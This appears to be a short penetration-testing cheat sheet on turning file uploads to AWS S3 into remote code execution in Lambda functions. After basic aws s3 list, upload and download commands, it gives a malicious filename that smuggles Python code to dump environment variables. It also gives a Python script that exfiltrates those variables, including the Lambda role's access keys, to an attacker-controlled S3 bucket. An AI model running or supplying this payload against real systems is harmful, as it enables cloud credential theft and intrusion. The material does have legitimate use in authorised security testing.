File upload to RCE
Verify file upload
List Buckets
aws s3 lsUpload file
aws s3 cp <local file> s3://<bucket>    #upload in bucket root
aws s3 cp <local file> s3://<bucket>/<path>List files in bucket
aws s3 ls <bucket>
aws s3 ls <bucket>/<path>Download file
aws s3 cp s3://<bucket>/<path>/<filename> .Exploit
We attempt to retrieve the Lambda environment and reveal the role Access Key. The output might be reflected in the uploaded file, another file in the same bucket or a log file.
Malicious filenames
import os;dict(os.environ)Malicious script
This script executes a command and stores the output in a S3 bucket controlled by the attacker
#!/usr/bin/env python3
import boto3
import time
import os
BUCKET_NAME = ""
FILE_PATH = "output.txt"
#Dump the environment variables. Feel free to change the payload if needed
output = dict(os.environ)  
#write to bucket  
s3 = boto3.client('s3')
s3.put_object(Bucket=BUCKET_NAME, Key=FILE_PATH, Body=output)Last updated